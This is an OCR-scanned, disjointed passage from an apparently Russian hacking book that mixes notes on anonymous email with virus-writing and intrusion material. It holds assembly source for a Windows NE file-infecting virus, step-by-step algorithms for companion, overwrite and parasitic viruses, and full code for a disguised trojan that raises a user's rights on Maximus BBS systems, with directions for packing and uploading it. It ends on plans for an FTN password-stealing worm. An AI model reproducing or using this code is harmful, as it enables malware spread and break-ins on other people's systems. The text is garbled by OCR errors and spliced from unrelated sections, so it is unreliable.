такое желание. Кроме того, практически почту пользователя смогут
прочесть только администраторы службы, а не московский провайдер
или ФАПСИ с ФСБ, хотя теоретически и это возможно.
Тип 3.
Принципиально другой тип службы. Чтение и отправление почты
происходят без использования почтовой программы, прямо в окне брау-
зера. Пример: http://www.hotmail.com. Переадресация на первичный ад-
рес невозможна. Преимущества: можно читать почту с любого компьюте-
ра с доступом в WWW, будь то другая страна или Интернет-кафе
в Южном Бутово, плюс опять же сложности отслеживания почты. Недо-
статок: не очень удобно пересылать файлы - в каждом письме' можно
отправить только один файл и только с использованием Netscape
Navigator 2.0 и выше или Internet Explorer 4.0 и выше. Совсем не слож-
но, зато как удобно! Стоит также отметить сайт http://www.mailcity.com,
который позволяет создавать неограниченное количество копий и слепых
копий адресов. Эта программа на основе Web - воплощенная мечта для
тех, кто занимается массовой рассылкой писем. И в заключении еще одно
важное соображение касательно privacy. При отправлении почты через
любую из этих служб, заголовок сообщения содержит IP адрес, с которо-
го отправлено сообщение. Даже Hotmail это делает. Но, если при отправ-
ке сообщения с использованием почтовых служб первых двух типов
скрыть свой реальный IP адрес нельзя (это связано с самим принципом
работы протокола SMTP), то при использовании почтовой службы тре-
тьего типа, то есть при отправлении почты из окна браузера, лазейка все
же есть. Это говорит о том, что почтовый адрес третьего типа можно сде-
лать практически полностью анонимным, достаточно лишь воспользо-
ваться одним из способов анонимизации своих путешествий по сети. Как
это сделать написано в разделе "На FTP-сервер под чужим IP-адресом".
Устройства
Вход:
AH=03h
Выход:
AL - символ, введенный со стандартного вспомогательного устройства
Описание.
Считывает (ожидает) символ со стандартного вспомогательного устрой-
ства, СОМ1 или AUX и возвращает этот символ в AL.
Примечание.
Ввод не буферизуется и должен опрашиваться (не управляется преры-
ваниями). При запуске DOS порт AUX (COM1) инициализируется так:
2400 бод, без проверки на четность, 1 стоп-бит, 8-битные слова. Коман-
да DOS MODE используется для установки иных характеристик.
В исполняемом файле Windows содержатся
В исполняемом файле Windows содержатся в различных комбинациях
код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных
должен распознаваться обеими системами - и DOS, и Windows.
Для этого все исполняемые файлы под Windows содержат два заголов-
ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй
заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата
WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program
requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,
значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад-
реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее
размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий
сегмент вируса.
4. CS:IP NewEXE изменяется на начало вирусного кода, само тело
вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21h из-под
Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса,
перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows.
Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
.Проверим, доступен ли DPMI. Если доступен,
Продолжаем, если нет - выходим
mov ax,1686h
int 2Fh
or ax, ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
.Запустим программу-носитель
db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:
; Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,OFFFFh
xor bx.bx
int 31 h
;Сохраним индекс и 32-битный линейный адрес
.полученного блока памяти в стеке
push si ~^
push di
push bx
push ex
;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h
;B поле адреса полученного дескриптора
.установим адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B поле предела полученного дескриптора
остановим размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
int 31h
;3агрузим селектор в регистр DS. После этого регистр DS будет
оказывать на выделенный блок памяти
mov ds.bx
.Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим текущую DTA
mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)
mov ah,4Eh
xor ex,ex
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти
call free
.Запустим программу-носитель
jmp exit
.Перейдем к следующему файлу - этот не подходит
close_exe:
; Закроем файл
mov ah,3Eh
int 21h
;Найдем следующий файл
mov ah,4Fh
int 21h
;Если файл найден, перейдем к заражению, иначе освободим
-.выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти
call free
;3апустим программу-носитель
jmp exit
; Файл найден, проверим его на пригодность к заражению
found ехе:
;0ткроем файл для чтения и записи
push ds
Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax,3D02h
int 21 h
pop ds
.Прочтем старый заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [old_hdr],"ZM"
jne close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;(PE-executable описан в разделе,
[посвященном Windows 95, остальные
;типы ЕХЕ-файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx.WORD PTR [old_hdr+3Ch]
mov cx.WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
; Прочитаем второй заголовок
mov dx.OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h
[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл
cmp WORD PTR [new_hdr],"EN"
jne close_exe
[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
[элемента в таблице сегментов
dec dx
shi dx,3
;K результату прибавим смещение таблицы сегментов и смещение
.заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим указатель чтения/записи
mov ax,4200h
int 21 h
[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h
. Вычислим смещение сегмента, опираясь на значения
.смещения логического сектора и множителя секторов
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr+32h]
xor ax.ax
cal_entry:
shi dx,1
rcl ax,1
loop cal_entry
.Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx.O
;Переместим указатель позиции чтения/записи на точку старта
.программы - результат вычисления
mov ax,4200h
int 21 h
;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h
Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе - заражаем
mov si.OFFSET temp
push cs
pop es
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступим к заражению
ok_to_infect:
Переместим NE-заголовок на 8 байт ближе к началу файла.
; Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
; Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]
pushTWORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
хог сх.сх
xor dx.dx
mov ax,4200h
int 21 h
;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21 h
;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21 h
; 3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов
хог сх.сх
mov dx,8
mov ax,4201 h
int 21h
рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h
Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
int 21h
;3апишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop ex
mov ah,40h
int 21h
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
.Получим длину файла, переместив указатель
^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex
-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
Формат Portable Executable используется Win32,
Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмот-
рим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого ин-
фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным
кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением
СОМ. Вирус активируется, если при запуске программы в командной
строке указано только имя исполняемого файла. Дело в том, что, если
не указано расширение файла, DOS сначала ищет в текущем каталоге
файл с заданным именем и расширением СОМ. Если СОМ-файл с та-
ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если
не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)
файл. В случае отсутствия в текущем каталоге исполняемого файла
с указанным именем поиск ведется во всех каталогах, доступных
по переменной PATH. Другими словами, когда пользователь хочет за-
пустить программу и набирает в командной строке только ее имя
(в основном так все и делают), первым управление получает вирус,
код которого находится в СОМ-файле. Он создает СОМ-файл еще
к одному или нескольким ЕХЕ-файлам (распространяется), а затем
исполняет ЕХЕ-файл с указанным в командной строке именем. Поль-
зователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный
код. При запуске такой инфицированной программы управление полу-
чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один
или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-
нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по-
скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-
няет его. Когда работа инфицированной программы закончена, ее
запускаемому файлу возвращается расширение неисполняемого. Лече-
ние файлов, зараженных вирусом этого типа, может быть затруднено,
если вирус-спутник шифрует часть или все тело инфицируемого файла,
а перед исполнением его расшифровывает.
Вирусы-спутники сейчас широко распространены - соотношение
companion и parasitic вирусов примерно один к двум.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные: их код записывается в инфици-
руемую программу, что существенно затрудняет лечение зараженных
файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.
Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне-
дряется в инфицируемую программу, это дает ему много преимуществ
перед всеми вышеописанными вирусами: на диске не появляются лиш-
ние файлы, нет забот с копированием и переименованием, кроме того,
усложняется лечение инфицированных файлов.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом. Главный их недостаток - слишком
грубая работа. Инфицированные программы не исполняются, так как
вирус записывается поверх программного кода, не сохраняя его. При
запуске вирус ищет очередную жертву (или жертвы), открывает найден-
ный файл для редактирования и записывает свое тело в начало про-
граммы, не сохраняя оригинальный код. Инфицированные этими виру-
сами программы лечению не подлежат.
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-
ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
соревнование в написании самого маленького overwrite-вируса. На дан-
ный момент самый маленький из известных overwrite-вирусов написан
Reminder'ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - пусть
пользователь не слишком удивляется тому, что программа не запу-
стилась.
12. Завершить программу.
Внедрение способом переноса
Вирусы данного типа размножаются следующим образом. Из инфициру-
емой программы от начала файла считывается часть кода, по длине рав-
ная длине вируса. На освободившееся место вписывается вирус,
а оригинальное начало программы переносится в конец файла. Отсюда
и название метода - "метод переноса". Есть и другие варианты. Иногда,
например, начало программы записывается в середину файла, а середина
переносится в конец, чтобы еще сильнее все запутать. Превосходство дан-
ного метода над другими описанными в том, что инфицированная про-
грамма исполняется в том же виде, в каком она была до заражения,
из файла с тем же именем и расширением. То есть программы, проверя-
ющие себя на предмет заражения вирусом, его не замечают. Корректно
исполняются и такие программы, которые ищут свои файлы конфигура-
ции с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьюте-
ра. Если при исполнении инфицированной программы компьютер
"повиснет" или произойдет перезагрузка системы, инфицированная
программа окажется "чистой", то есть без вируса. Но, во-первых, "кто
не рискует, тот не пьет шампанского", а во-вторых, программы виснут
редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы,
по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера.
Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположен-
ное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало
файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть
кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-
полнение - выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый
файл.
19. Записать в начало файла тело вируса, а оригинальное начало про-
граммы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.
Внедрение способом сдвига
Инфицируемая программа размещается в файле после кода вируса,
сдвигаясь на его длину, отсюда и название метода. Алгоритм работы
вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл,
но можно и не слишком большой ЕХЕ - это связано с тем, что все
тело инфицируемой программы считывается в память и ее может не
хватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера.
Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное
в файле после тела вируса.
14. Создать на диске временный файл с расширением СОМ или ЕХЕ
(в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на исполнение -
выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что
написать вирус на языке высокого уровня весьма трудно. Это не совсем
так. Писать на языке Pascal довольно легко, правда величина получен-
ного кода вызывает благоговейный трепет.
Второй адрес
Проблема защиты частной жизни в сети ставит перед пользователями
вопрос об обладании вторым (третьим... десятым) электронным адресом.
Его хорошо иметь там, где почту не будут читать, и в том домене, гео-
графическая принадлежность которого "нейтральна". В общем, все те
же требования, что и ко второму паспорту и гражданству. Наличие та-
кого адреса защищает от попыток выяснить личность пользователя, дает
возможность предоставлять разные адреса разным корреспондентам
в зависимости от их статуса, избавляет от необходимости извещать всех
корреспондентов о новом адресе, если пользователь сменил провайдера
или переехал в другую страну. Существует довольно много служб, по-
зволяющих бесплатно получить второй электронный адрес. По способу
отправки и получения почты эти службы можно разделить на три ос-
новных типа.
Второй макрос (английский):
Sub Demo_Macro
With Selection.Font
.Name="Times"
Вряд ли стоит напоминать, что
Вряд ли стоит напоминать, что компьютеры стали настоящими помощ-
никами человека и без них уже не может обойтись ни коммерческая
фирма, ни государственная организация. Однако в связи с этим особен-
но обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной техни-
ке, взбудоражили весь мир. Многие пользователи компьютеров обеспо-
коены слухами о том, что с помощью компьютерных вирусов злоумыш-
ленники взламывают сети, грабят банки, крадут интеллектуальную соб-
ственность...
Все чаще в средствах массовой информации появляются сообщения
о различного рода пиратских проделках компьютерных хулиганов, о по-
явлении все более совершенных саморазмножающихся программ. Совсем
недавно заражение вирусом текстовых файлов считалось абсурдом - сей-
час этим уже никого не удивишь. Достаточно вспомнить появление "пер-
вой ласточки", наделавшей много шума - вируса WinWord. Concept, по-
ражающего документы в формате текстового процессора Microsoft Word
for Windows 6.0 и 7.0.
Хочется сразу заметить, что слишком уж бояться вирусов не стоит, осо-
бенно если компьютер приобретен совсем недавно, и много информации
на жестком диске еще не накопилось. Вирус компьютер не взорвет.
Ныне известен только один вирус (Win95.CIH), который способен ис-
портить "железо" компьютера. Другие же могут лишь уничтожить ин-
формацию, не более того.
В литературе весьма настойчиво пропагандируется, что избавиться от
вирусов можно лишь при помощи сложных (и дорогостоящих) антиви-
русных программ, и якобы только под их защитой вы можете чувство-
вать себя в полной безопасности. Это не совсем так - знакомство с осо-
бенностями строения и способами внедрения компьютерных вирусов
поможет вовремя их обнаружить и локализовать, даже если под рукой
не окажется подходящей антивирусной программы.
Вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME
Взлом BBS
Существует большое количество программ, предназначенных для созда-
ния и поддержания работы BBS. Рассмотрим самую популярную среди
них - Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым
областям, уничтожить информацию - такие задачи ставит перед собой
взломщик.
Существуют так называемые списки файлов, в которых содержится ин-
формация о доступных пользователям этой BBS ресурсах. Как правило,
такие списки есть в каждой специальной тематической конференции.
Пользователи могут скопировать оттуда какой-либо файл или оставить
свой. В программе Maximus списком всех файлов, доступных в конфе-
ренции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий
с языками С и Pascal. На нем можно писать собственные программы
под BBS. Скорее всего, именно поэтому большинство системных опера-
торов предпочитают использовать Maximus. После компиляции напи-
санной программы ее можно добавить в общую базу Maximus, и она
начнет работать.
Каждая откомпилированная программа приобретает определенную мас-
ку файла. Откомпилированная МЕС-программа имеет маску *. bbs, схо-
жую с маской списка файла. Обычно в этих файлах содержатся списки,
но если в коде встречаются какие-либо служебные команды, они будут
выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень
прост, разобраться в нем может каждый. Он позволяет оперировать раз-
личными данными, заставками на BBS, базой пользователей. Систем-
ный оператор обязательно должен знать этот язык.
Используя команду "PRIV_UP" языка МЕС системный оператор мо-
жет без особых усилий повышать уровень пользователя, при условии,
что последний будет писать и отправлять файлы на станцию. С повы-
шением уровня, пользователь получает дополнительные возможности
(увеличивается доступное для работы время, объем информации, кото-
рую можно получить с BBS). Этим и может воспользоваться хакер. Ему
остается только найти BBS, работающую на программе Maximus, на ко-
торой есть много файловых конференций. При этом одна из этих кон-
ференций должна быть пустой (то есть в ней не должно быть файла
files.bbs, содержащего доступные файлы в данной конференции). Таким
образом, остается проверить только одно условие - если все копируе-
мые на BBS файлы помещаются в конференцию, которая была выбрана
последний раз, то такую BBS можно взломать без особых усилий. Хаке-
ру остается только создать файл files.тес, записать в него команду
PRIV_UP, затем откомпилировать этот файл при помощи компилятора
МЕССА (теперь он будет называться files.bbs) и отправить его на BBS.
С этого момента хакер может поднимать свой уровень доступа, просмат-
ривая данную конференцию, пока он не достигнет уровня системного
оператора станции. После этого компьютер окажется полностью в его
распоряжении.
Если под рукой не оказалось компилятора МЕССА, то создать files.bbs
можно и вручную. Для этого нужно создать файл files.bbs, а затем ввес-
ти в него команду повышения уровня - на языке Maximus это всего три
символа (код первого - 23h, следующие два - символы pU).
Еще один способ взлома BBS рассчитан на неграмотных системных опе-
раторов, не обладающих глубокими знаниями. Он заключается в том,
что на станцию засылается программа (причем безразлично, куда она
попадет), которая сама добавит команду повышения уровня в файл
files.bbs. Во время просмотра доступных файлов хакеру автоматически
будет подниматься уровень. Ниже приведен текст похожей исходной
программы - фантазия тут может быть безгранична. Эта программа до-
бавляет в файл files.bbs байты, повышающие уровень пользователю.
После того, как системный оператор запустит эту программу на своем
компьютере, программа ищет файл files.bbs и дописывает туда три бай-
та. Приведенный пример рассчитан на системных операторов, которые
держат свои файлы в каталоге, по умолчанию предлагаемом программой
для установки. Хотя можно добавить поиск files.bbs по всему винчесте-
ру компьютера.
assume cs:cseg, ds:cseg
cseg segment
org 100h
start:
.Найдем файл FILES.BBS
mov ah,4Eh
mov dx.offset fname
mov cx,20h
int 21 h
; Если файл отсутствует, то выйдем из программы -
;здесь нечего исправлять
jc exit
;0ткроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21 h
jc exit
-.Установим указатель чтения/записи в конец файла
mov bx.ax
mov ax,4202h
хог сх.сх
xor dx,dx
int 21h
Записываем в файл три байта
mov ah,40h
mov cx,3
mov dx.offset bytes
int 21 h
jc exit
;3акроем файл
mov ah,3Eh
int 21 h
[Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
системного оператора. Цель - заставить системного оператора
думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:
[Выдадим сообщение об ошибке
mov ah,09h
mov dx, offset message
int 21 h
; Выход в DOS
mov ah,4Ch
int 21 h
;Mycop - специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup ("A")
;Имя файла "FILES.BBS"
fname db "files.bbs",0
;Сообщение об ошибке
message db "CRC file error", 13,10,"$"
.Записываемые байты
bytes db 23h,"pU"
cseg ends
end start
После того, как файл откомпилирован, его нужно упаковывать, чтобы
системный оператор ничего не заподозрил. Этот файл будет содержать
большое количество непонятных символов, и при быстром просмотре
распознать скрытую в нем программу практически невозможно.
tasm.exe vzlom.asm
tlink.exe vzlom.obj /t
pklite vzlom.com
После этого файл отправляется на BBS и комментируется как демонст-
рационная программа или как утилита для DOS. Дальше взломщику
остается только ждать, пока системный оператор запустит файл. Через
некоторое время можно звонить и наслаждаться. Данный метод не сра-
ботает, если настоящая опция File Titles в Maximus заменена на ей по-
добную.
Взлом FTN-сетей
Что можно сказать о широко используемой технологии FTN? Множе-
ство лазеек для взлома. Чего стоит почтовый файл РКТ, содержащий
в себе незашифрованный пароль, узнать который никаких проблем не
составляет! А файлы с паролями в уважаемом всеми T-Mail, хранящие-
ся в нешифрованном виде и доступные любому грамотному человеку,
впрочем, как и все конфигурационные файлы наиболее распространен-
ных программ для работы с FTN? На основе подобных промахов в раз-
работке уже давно написаны программы, позволяющие сломать ту или
иную BBS, вызвать режим DoorWay и сотворить с удаленным сервером
все, что угодно. Однако это еще не предел возможностей программиста.
Подумаешь, сломать BBS! Власть над одной из BBS - ничто в сравне-
нии с тем, что хакер может держать в своей руке почту от сотен почто-
вых узлов, отправлять почту от чужого имени, действовать от лица дру-
гого члена или пользователя FTN. Фантастика? Нет - реальность.
Почитатели Эдгара По наверняка знают выражение "Червь-Победи-
тель". Собственно, любой грамотно написанный "червь" станет победи-
телем, если выйдет на свободу. Особенно с применением свежих идей.
Применяя технологию СМ (саморазмножающиеся механизмы), называ-
емую в народе "компьютерные вирусы", можно добиться немалого.
Включив в свой СМ некоторую особенность, вместо привычной дест-
рукции можно получить парольный доступ ко многим почтовым узлам
со всеми вытекающими отсюда последствиями. Как известно, при ус-
тановке соединения между двумя FTN-мейлерами они сравнивают
свои адреса и пароли. То есть сначала хост получает основной адрес
звонящего мейлера и пароль на сессию. Если в конфигурации хоста
указаны адрес и пароль звонящего и они совпадают с предъявленным
паролем, хост показывает звонящему свой пароль и при совпадении
таковых происходит парольная сессия. В подавляющем большинстве
случаев электронная почта передается только в парольные сессии,
иначе любой мейлер мог бы предъявить хосту подставной адрес и заб-
рать почту, предназначенную для других. В данном случае для того,
чтобы перехватывать чужую электронную почту или действовать от
лица какого-либо системного оператора, необходимо узнать пароли на
сессию звонящей системы и хоста, ожидающего звонка. Кто-то ирони-
чески улыбнется: "Как же их можно узнать, если нет возможности
"прикинуться хостом", чтобы звонящая система показала свои пароли,
если она звонит совсем по другому номеру телефона?!". Разумеется.
Но это не нужно. Кто-то скажет: "В таком случае получить эти паро-
ли и от хоста нельзя, поскольку он не будет предъявлять свой пароль
и не включит парольную сессию, пока не увидит, что предложенный
пароль совпадает с его паролем!" Конечно. Но это тоже не нужно.
Что же предпринять? Дело в том, что и хост, и звонящая система мо-
гут преподнести свои пароли "на блюдечке". Для этого не нужно за-
хватывать в заложники семью системного оператора или предлагать
